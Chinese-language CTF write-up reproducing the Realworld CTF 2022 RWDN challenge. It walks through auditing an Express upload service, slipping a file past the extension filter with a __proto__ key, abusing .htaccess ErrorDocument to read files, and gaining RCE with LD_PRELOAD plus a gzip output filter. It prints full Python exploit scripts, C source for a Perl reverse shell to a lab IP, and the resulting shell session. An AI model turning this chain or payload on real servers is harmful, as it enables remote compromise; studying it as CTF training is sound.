<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Realworld CTF 2022 - RWDN 復現解析

    一顆小胡椒2022-03-07 08:07:39

    前情提要

    RWDN dockerfile 這份 dockerfile 是從 出題人 手中拿到的 和現實的題目 稍微有點有差距的地方

    使用 sudo docker compose up 等待鏡像制作完成就會自動啟動了

    題目會部署在 127.0.0.1 31337 和 31338 兩個端口 和正式比賽的情況 沒有區別

    拿到題目

    source 審計

    先查看 HTML 源碼 很快就能看到注釋中寫的

    <body>
    

    很顯然是提示我們去訪問 /source 目錄

    curl 看一下 是 js 源碼 這里順手存到 source 文件里

    注意: 源文件無注釋 我這里為了提示也是為了分析題目 所以這里部分需要注意的地方 我添加了注釋

    $ curl 127.0.0.1:31337/source | tee code.jsconst express = require('express');const fileUpload = require('express-fileupload');const md5 = require('md5');const { v4: uuidv4 } = require('uuid');const check = require('./check'); // 這里引入了 check 不知道是什么 但是是自定義的const app = express();
    const PORT = 8000;
    app.set('views', __dirname + '/views');app.set('view engine', 'ejs');
    app.use(fileUpload({  useTempFiles : true,  tempFileDir : '/tmp/',  createParentPath : true}));
    app.use('/upload',check()); // 這里調用了 check 應該是 在 ./check 的一個函數
    // 看到 這里用到了下面用到了 獲取源碼的方法app.get('/source', function(req, res) {   if (req.query.checkin){ // 讓 checkin == 1     res.sendfile('/src/check.js'); // 這里我們可以猜測之前 check 的意思 應該就是這個文件                                // 因此接下來我們要請求拿一下 check.js 但是不急 我們接著看  }  res.sendfile('/src/server.js'); // 就是我們當前的文件});
    // 我們的根目錄 生成了一個 formidapp.get('/', function(req, res) {  var formid = "form-" + uuidv4();  res.render('index', {formid : formid} );});
    // 這里是上傳點  一般這里大家都會警覺app.post('/upload', function(req, res) {  let sampleFile;  let uploadPath;  let userdir;  let userfile;  // 樣本文件 獲取 用的是 req.query.formid 注意可以是數字 不一定是 字符串  sampleFile = req.files[req.query.formid];  // 這里處理 文件 hash 用的 md5 分別計算了 文件 hash 和 上傳者的地址  // node 會獲取 ::ffff:{ipv4} 作為你的 ip 地址   userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);  userfile = sampleFile.name.toString();   // 文件名就是 name 字段 不是 filename 字段 正常情況是 你的 formid
      if(userfile.includes('/')||userfile.includes('..')){       return res.status(500).send("Invalid file name");  }  // 上傳到的地址 注意這里是絕對地址   uploadPath = '/uploads/' + userdir + '/' + userfile;  sampleFile.mv(uploadPath, function(err) {    if (err) {      return res.status(500).send(err);    }    // 這里提到了第二個端口     // 這里也說明了 上傳的文件你可以在這個地址訪問到     // 文件上傳 getshell 基本都要用到 這個地址訪問 然后讓服務器執行    res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);  });});
    app.listen(PORT, function() {  console.log('Express server listening on port ', PORT);});
    

    check 審計

    接下來 看看我們的 check.js

    $ curl 127.0.0.1:31337/source?checkin=1 | tee check.jsmodule.exports = () => {    return (req, res, next) => {      if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {        // 確認你有上傳        res.status(400).send('Something error.');        return;      }        // 對每個文件的 key 進行檢查 (其實這里有個例外 __proto__ 是個例外)      Object.keys(req.files).forEach(function(key){        var filename = req.files[key].name.toLowerCase();         var position = filename.lastIndexOf('.');        if (position == -1) {          return next();        } // 如果沒有 . 就下一個文件 這里其實也有個 bypass 點位 也就是上傳兩個文件 用第一個 無后綴的安全文件 bypass         var ext = filename.substr(position);        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];        if ( !allowexts.includes(ext) ){ // 確認安全文件名后綴          res.status(400).send('Something error.');          return;        }        return next(); // 所有檢查完畢后 就 返回下一個文件      });    };  };
    

    看一眼 31338 端口

    這里可以看一眼 31338 端口 然后 curl 一下

    $ curl 127.0.0.1:31338 -v*   Trying 127.0.0.1:31338...* Connected to 127.0.0.1 (127.0.0.1) port 31338 (#0)> GET / HTTP/1.1> Host: 127.0.0.1:31338> User-Agent: curl/7.81.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Date: Thu, 27 Jan 2022 15:48:27 GMT< Server: Apache/2.4.29 (Ubuntu)< Last-Modified: Thu, 20 Jan 2022 09:18:15 GMT< ETag: "31-5d5fffb6aa3c0"< Accept-Ranges: bytes< Content-Length: 49< Content-Type: text/html< * Connection #0 to host 127.0.0.1 left intactWelcome to my CDN! Execute /readflag to get flag.
    

    這里就是個 普通 apache 而上面的兩個 則是 Express

    思路和利用

    既然上傳這里 有問題 那么就試試上傳 看看能不能弄到點什么

    很顯然 getshell 的任何 php pl 腳本代碼都是不能成功利用的 就是個 簡簡單單的 純純的 Apache 服務器

    第一部分

    既然是 apache 目標, 自然 .htaccess apache.conf 這種配置文件 很顯然就變成了我們的目標

    你或許以為直接 cgi script 進行一把梭就完事了 很顯然 這里服務器 默認是沒有開啟的 (因為他是 docker 而且幾乎是默認的 apache )

    既然是 Apache 那么翻翻 apache 文檔

    ErrorDocument

    知識點 1 ErrorDocument 錯誤文檔 可以看到 context 運行上下文的中存在 .htaccess

    可以這樣利用

    ErrorDocument 404 %{file:/etc/apache2/apache2.conf}
    

    保存為 .htaccess 然后傳上去

    無用的知識點 ErrorLog 也能執行命令 但是很顯然 上下文環境阻止了你 這里其實可以拿來出題 哈哈哈

    同樣

    • customlog
    • globallog
    • forensiclog
    • transferlog

    都具有 pipe 形式

    濫用 htaccess 以及其中一些模塊的方法 https://github.com/wireghoul/htshells

    額外找到了一些 相關的利用方法
    SetEnv LD_PERLOAD
    https://www.freebuf.com/articles/web/192052.html
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

    上傳文件

    這里直接貼代碼

    import requestsimport hashlib
    target_ip = "127.0.0.1"target_render_port = 31338target_upload_port = 31337
    upload_file = ".htaccess"normal_file = "a.txt"
    request_sender_ip = "172.18.0.1" request_ip = "::ffff:{}".format(request_sender_ip)
    # 這里是為了好看 跟蹤一下請求def print_request(response):    print("request form")    print("=========================================================")    print(response.request.method, response.request.url)    for header_key in response.request.headers.keys():        print("{}: {}".format(header_key, response.request.headers[header_key]))    body = response.request.body    if body == None:        print("")    else:        print( body.decode())    print("=========================================================")
    def print_response(response):    print("response form")    print("=========================================================")    print(response.status_code, response.url)    for header_key in response.headers.keys():        print("{}: {}".format(header_key, response.headers[header_key]))    print("")    print(response.text)    print("=========================================================")
    def md5(string):    return hashlib.md5(string.encode()).hexdigest()
    # 計算上傳點def calc_upload_path(upload_file, form_id ): # form_id 是無用的 無所謂傳什么    """    # 對應的 js 代碼    userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);    userfile = sampleFile.name.toString();    if(userfile.includes('/')||userfile.includes('..')){      return res.status(500).send("Invalid file name");    }    uploadPath = '/uploads/' + userdir + '/' + userfile;    """    file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest()    userdir  = md5(md5(request_ip)+file_md5)    userfile = form_id # 這里其實無用     # upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env    upload_path = '/' + userdir + '/'    return upload_path
    def main():
        ## STEP 1 get formid if you need    uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port)    r = requests.get(uplaod_url1)    form_id = r.text.split("action='")[1].split("'")[0]    real_form_id = form_id.split('/upload?formid=')[1]    print("you should use this id: ",real_form_id)
        ## STEP 2 upload error file    # 方法 1 多文件上傳繞過    """    # real_form_id = upload_file    upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,real_form_id)    upload_file_id = real_form_id    files = {            real_form_id : open(normal_file,'r'),            real_form_id : open(upload_file,'r'),    }     # need uplaod 2 same name file as bad request     # 可以這么發包 塞入兩個文件 但是很顯然 這里前一個文件會被后一個文件蓋掉     # 倒是強行可以通過 自己定義寫多部分 來進行上傳 但是代碼復用度不好    # 所以你會發現 你最后只上傳了一個文件    """    # 方法 2 proto 大魔法    upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")    files = {        "__proto__": open(upload_file,"r"),         "decoy":("decoy","random"),    }    """    原理參照一個小哥 在 discord 中發的內容: 如下    the __proto__ file is not checked because Object.keys does not include properties from the prototype,     but since the prototype is now an array we can use formid=1 to access that file again in the upload function    """    r2 = requests.post(upload_url2,files=files)    print_request(r2)    print_response(r2)
        ## STEP 3 get the response    access_path = "http://{}:{}".format(target_ip,target_render_port) + \            calc_upload_path(upload_file,real_form_id) + "NonExistFile"     # 強行 在這個目錄下 404    r3 = requests.get(access_path)    print_request(r3)    print_response(r3)    ## 如果這里你的 .htaccess 文件 成功上傳了 就會在這里 拿到 你 .htaccess 文件 ErrorDocument 指向的文件
    if __name__ == '__main__':    main()
    

    第二部分

    apache2.conf審計

    文件很長 可以直接拉到最后 看
    # This is the main Apache server configuration file.  It contains the# configuration directives that give the server its instructions.# See http://httpd.apache.org/docs/2.4/ for detailed information about# the directives and /usr/share/doc/apache2/README.Debian about Debian specific# hints.### Summary of how the Apache 2 configuration works in Debian:# The Apache 2 web server configuration in Debian is quite different to# upstream's suggested way to configure the web server. This is because Debian's# default Apache2 installation attempts to make adding and removing modules,# virtual hosts, and extra configuration directives as flexible as possible, in# order to make automating the changes and administering the server as easy as# possible.
    # It is split into several files forming the configuration hierarchy outlined# below, all located in the /etc/apache2/ directory:##       /etc/apache2/#       |-- apache2.conf#       |       `--  ports.conf#       |-- mods-enabled#       |       |-- *.load#       |       `-- *.conf#       |-- conf-enabled#       |       `-- *.conf#       `-- sites-enabled#               `-- *.conf### * apache2.conf is the main configuration file (this file). It puts the pieces#   together by including all remaining configuration files when starting up the#   web server.## * ports.conf is always included from the main configuration file. It is#   supposed to determine listening ports for incoming connections which can be#   customized anytime.## * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/#   directories contain particular configuration snippets which manage modules,#   global configuration fragments, or virtual host configurations,#   respectively.##   They are activated by symlinking available configuration files from their#   respective *-available/ counterparts. These should be managed by using our#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See#   their respective man pages for detailed information.## * The binary is called apache2. Due to the use of environment variables, in#   the default configuration, apache2 needs to be started/stopped with#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not#   work with the default configuration.
    # Global configuration#
    ## ServerRoot: The top of the directory tree under which the server's# configuration, error, and log files are kept.## NOTE!  If you intend to place this on an NFS (or otherwise network)# mounted filesystem then please read the Mutex documentation (available# at );# you will save yourself a lot of trouble.## Do NOT add a slash at the end of the directory path.##ServerRoot "/etc/apache2"
    ## The accept serialization lock file MUST BE STORED ON A LOCAL DISK.##Mutex file:${APACHE_LOCK_DIR} default
    ## The directory where shm and other runtime files will be stored.#
    DefaultRuntimeDir ${APACHE_RUN_DIR}
    ## PidFile: The file in which the server should record its process# identification number when it starts.# This needs to be set in /etc/apache2/envvars#PidFile ${APACHE_PID_FILE}
    ## Timeout: The number of seconds before receives and sends time out.#Timeout 300
    ## KeepAlive: Whether or not to allow persistent connections (more than# one request per connection). Set to "Off" to deactivate.#KeepAlive On
    ## MaxKeepAliveRequests: The maximum number of requests to allow# during a persistent connection. Set to 0 to allow an unlimited amount.# We recommend you leave this number high, for maximum performance.#MaxKeepAliveRequests 100
    ## KeepAliveTimeout: Number of seconds to wait for the next request from the# same client on the same connection.#KeepAliveTimeout 5
    # These need to be set in /etc/apache2/envvarsUser ${APACHE_RUN_USER}Group ${APACHE_RUN_GROUP}
    ## HostnameLookups: Log the names of clients or just their IP addresses# e.g., www.apache.org (on) or 204.62.129.132 (off).# The default is off because it'd be overall better for the net if people# had to knowingly turn this feature on, since enabling it means that# each client request will result in AT LEAST one lookup request to the# nameserver.#HostnameLookups Off
    # ErrorLog: The location of the error log file.# If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be# logged here.  If you *do* define an error logfile for a # container, that host's errors will be logged there and not here.#ErrorLog ${APACHE_LOG_DIR}/error.log  # 這種地方是改寫不了變量的 或許需要一些我沒發現的魔法
    ## LogLevel: Control the severity of messages logged to the error_log.# Available values: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the log level for particular modules, e.g.# "LogLevel info ssl:warn"#LogLevel warn
    # Include module configuration:IncludeOptional mods-enabled/*.loadIncludeOptional mods-enabled/*.conf
    # Include list of ports to listen onInclude ports.conf
    # Sets the default security model of the Apache2 HTTPD server. It does# not allow access to the root filesystem outside of /usr/share and /var/www.# The former is used by web applications packaged in Debian,# the latter may be used for local directories served by the web server. If# your system is serving content from a sub-directory in /srv you must allow# access here, or in any related virtual host. />        Options FollowSymLinks        AllowOverride ALL        Require all denied
     /usr/share>        AllowOverride ALL        Require all granted
     /var/www/>        Options Indexes FollowSymLinks        AllowOverride ALL        Require all granted
    ##       Options Indexes FollowSymLinks#       AllowOverride None#       Require all granted#
    # AccessFileName: The name of the file to look for in each directory# for additional configuration directives.  See also the AllowOverride# directive.#AccessFileName .htaccess
    ## The following lines prevent .htaccess and .htpasswd files from being# viewed by Web clients.# "^\.ht">        Require all denied
    ## The following directives define some format nicknames for use with# a CustomLog directive.## These deviate from the Common Log Format definitions in that they use %O# (the actual bytes sent including headers) instead of %b (the size of the# requested file), because the latter makes it impossible to detect partial# requests.## Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.# Use mod_remoteip instead.#LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combinedLogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combinedLogFormat "%h %l %u %t \"%r\" %>s %O" commonLogFormat "%{Referer}i -> %U" refererLogFormat "%{User-agent}i" agent
    # Include of directories ignores editors' and dpkg's backup files,# see README.Debian for details.ExtFilterDefine gzip mode=output cmd=/bin/gzip # 這個比較有東西哦 可以看到有命令執行了那么套用類似 PHP Mail bypass disable func 的思路進行利用
    # Include generic snippets of statementsIncludeOptional conf-enabled/*.conf
    # Include the virtual host configurations:IncludeOptional sites-enabled/*.conf
    # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
    

    htaccess 濫用 掛載 LD_PERLOAD

    // save as perload.c// 編譯 gcc perload.c  -fPIC -shared -o 1.so #define _GNU_SOURCE
    #include #include #include 
    extern char** environ;
    __attribute__ ((__constructor__)) void preload (void) // 構建 預執行屬性{
        const char* cmdline = "perl -e 'use Socket;$i=\"172.18.0.1\";$p=8884;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'";
        // const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"
        int i;    for (i = 0; environ[i]; ++i) {            if (strstr(environ[i], "LD_PRELOAD")) {                    environ[i][0] = '\0';            }    }    system(cmdline);}
    

    接下來上 python 利用

    import requestsimport hashlib
    target_ip = "127.0.0.1"target_upload_port = 31337upload_file = ".htaccess"target_render_port = 31338request_sender_ip = "172.18.0.1"request_ip = "::ffff:{}".format(request_sender_ip)
    # 還是 為了好看def print_request(response):    print("request form")    print("=========================================================")    print(response.request.method, response.request.url)    for header_key in response.request.headers.keys():        print("{}: {}".format(header_key, response.request.headers[header_key]))    body = response.request.body    if body == None:        print("")    else:        print( body )    print("=========================================================")
    def print_response(response):    print("response form")    print("=========================================================")    print(response.status_code, response.url)    for header_key in response.headers.keys():        print("{}: {}".format(header_key, response.headers[header_key]))    print("")    print(response.text)    print("=========================================================")
    def md5(string):    return hashlib.md5(string.encode()).hexdigest()
    # 計算上傳路徑def calc_upload_path(upload_file, form_id ):    """    userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);    userfile = sampleFile.name.toString();    if(userfile.includes('/')||userfile.includes('..')){      return res.status(500).send("Invalid file name");    }    uploadPath = '/uploads/' + userdir + '/' + userfile;    """    file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest()    userdir  = md5(md5(request_ip)+file_md5)    userfile = form_id    # upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env    upload_path = '/' + userdir + '/'
        return upload_path
    def main():    ## STEP 4 upload error    # 上傳 1.so    sofile_path = uplaod_file("1.so")
        code = """SetEnv LD_PRELOAD "/var/www/html{}1.so"SetOutputFilter gzipErrorDocument 403 /etc/apache2/apache2.conf""".format(sofile_path)    # 啟用 gzip 過濾器 執行命令    # 生成 htaccess    htaccess_file_gen(code)    # 輸出 這里為了 debug    print("sofile_path: ",sofile_path)    # 上傳 htaccess    htaccess_path = uplaod_file(".htaccess")    print("htaccess_path: ",htaccess_path)
        print("getshell exec with curl http://{}:{}".format(target_ip,target_render_port)+htaccess_path)
    # 生成代碼def htaccess_file_gen(code):    with open(".htaccess","w") as f:        f.write(code)    print("gen successfully")
    # 上傳文件 利用方法是上面 提到的def uplaod_file(filename):    uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port)    r = requests.get(uplaod_url1)    form_id = r.text.split("action='")[1].split("'")[0]    real_form_id = form_id.split('/upload?formid=')[1]    print("you should use this id: ",real_form_id)
        upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")    files = {        "__proto__": open(filename,"rb"),        "decoy":("decoy","random"),    }    r2 = requests.post(upload_url2,files=files)    print_request(r2)    print_response(r2)
        form_id = real_form_id    return calc_upload_path(filename,form_id)
    if __name__ == '__main__':    main()
    

    最后運行結果的 拿到 .htaccess 文件對應的地址 一個 curl 打過去就有了

    當然記得起 netcat 的監聽

    最后Getshell readflag

    直接執行一個 readflag 的計算

    └─$ nc -lvvp 8884        listening on [any] 8884 ...172.18.0.3: inverse host lookup failed: Unknown hostconnect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 54924bash: cannot set terminal process group (31): Inappropriate ioctl for devicebash: no job control in this shellwww-data@a17ac98d17ba:/$ ls -alls -altotal 100drwxr-xr-x   1 root root  4096 Jan 27 07:28 .drwxr-xr-x   1 root root  4096 Jan 27 07:28 ..-rwxr-xr-x   1 root root     0 Jan 27 07:28 .dockerenvdrwxr-xr-x   2 root root  4096 Jan  5 19:29 bindrwxr-xr-x   2 root root  4096 Apr 24  2018 bootdrwxr-xr-x   5 root root   340 Jan 27 07:28 devdrwxr-xr-x   1 root root  4096 Jan 27 07:28 etc-r-x------   1 root root    39 Jan 20 09:19 flagdrwxr-xr-x   2 root root  4096 Apr 24  2018 homedrwxr-xr-x   1 root root  4096 May 23  2017 libdrwxr-xr-x   2 root root  4096 Jan  5 19:29 lib64drwxr-xr-x   2 root root  4096 Jan  5 19:27 mediadrwxr-xr-x   2 root root  4096 Jan  5 19:27 mntdrwxr-xr-x   2 root root  4096 Jan  5 19:27 optdr-xr-xr-x 334 root root     0 Jan 27 07:28 proc-r-sr-xr-x   1 root root 13144 Jan 20 09:16 readflagdrwx------   1 root root  4096 Jan 27 07:44 rootdrwxr-xr-x   1 root root  4096 Jan 27 07:28 rundrwxr-xr-x   2 root root  4096 Jan  5 19:29 sbindrwxr-xr-x   2 root root  4096 Jan  5 19:27 srvdr-xr-xr-x  13 root root     0 Jan 27 07:28 sysdrwxrwxrwt   1 root root  4096 Jan 27 07:28 tmpdrwxr-xr-x   1 root root  4096 Jan  5 19:27 usrdrwxr-xr-x   1 root root  4096 Jan 27 07:28 varwww-data@a17ac98d17ba:/$ readflagreadflagbash: readflag: command not foundwww-data@a17ac98d17ba:/$ ./readflag./readflagSolve the easy challenge first(((((-854089)-(772258))+(5324))+(474988))-(-472881))input your answer: -673154ok! here is your flag!!rwctf{cd81450983c06bcb4438dfb8de45ec04}www-data@a17ac98d17ba:/$
    

    Wrap up

    總體思路與知識點

    1.代碼審計

    2.proto 利用 | 發現雙文件上傳 bypass

    3.利用 htaccess 越界讀 獲取 一些敏感配置文件

    4.利用 htaccess 和 一些錯誤配置 RCE

    ctfhtaccess
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    RWDN dockerfile 這份 dockerfile 是從 出題人 手中拿到的 和現實的題目 稍微有點有差距的地方。
    在滲透或者CTF中,總會有特殊函數被過濾,如'ls、cat、tac'。防火墻將這些函數加入黑名單,我們需要找一些方法來代替,用fuzz給他們替換,就出現了BYpass思路。學習就是先走一回別人的老路,知識點到量才可以開創自己的新路。
    01目錄掃描分析代碼這是一道很好反序列化字符串溢出的題目,首先打開容器看到這是一個上傳點先進行目錄掃描,
    CTF-web--命令注入
    2023-03-31 09:51:35
    大佬總結的文章,本篇文章閱讀時間大約30分鐘。一 、基本原理 命令注入指的是,利用沒有驗證過的惡意命令或代碼,對網站或服務器進行滲透攻擊。注入有很多種,并不僅僅只有SQL注入。Injection)客戶端腳本攻擊(Script?injection)動態函數注入攻擊(Dynamic?Evaluation)序列化注入&對象注入。這種題目又哪些常見的,一個是我們常用的文件包含,我們是可以使用system等函數的,或者是php函數,應該也屬于命令注入的范疇。類似于 ?
    CTF反序列化入門
    2022-07-11 16:27:22
    這兩個過程結合起來,可以輕松地存儲和傳輸數據。就是將對象的狀態信息寫成一串字符,以便傳輸和保存。
    1.注釋符繞過 常用的注釋符有: 1)-- 注釋內容 2)# 注釋內容 3)/*注釋內容*/ eg:union select 1,2# union select 1,2 --+ 構造閉合 ’ union select 1,2’
    CTF或過WAF的sql注入繞過姿勢總結
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    CTF盲水印詳解
    2022-01-18 14:42:20
    盲水印的出現頻率是相當高
    0x01 前言在2021年10月15日的“中國能源網絡安全大賽”,筆者對WEB題目進行了嘗試,幸運的做出了所有題目。0x02 ezphp這是一道很簡單的題目,同時也被大家刷成了簽到題。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类